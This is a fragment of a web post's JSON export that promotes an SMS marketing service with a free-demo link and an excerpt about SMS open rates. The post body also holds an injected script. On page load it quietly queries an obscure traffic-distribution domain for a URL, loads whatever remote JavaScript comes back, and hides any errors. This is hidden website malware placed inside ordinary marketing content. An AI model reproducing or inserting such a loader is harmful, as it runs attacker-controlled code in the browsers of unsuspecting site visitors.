rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>With 9 out of 10 people opening their text messages, SMS is still a popular mode of communication when compared to other modes such as email. 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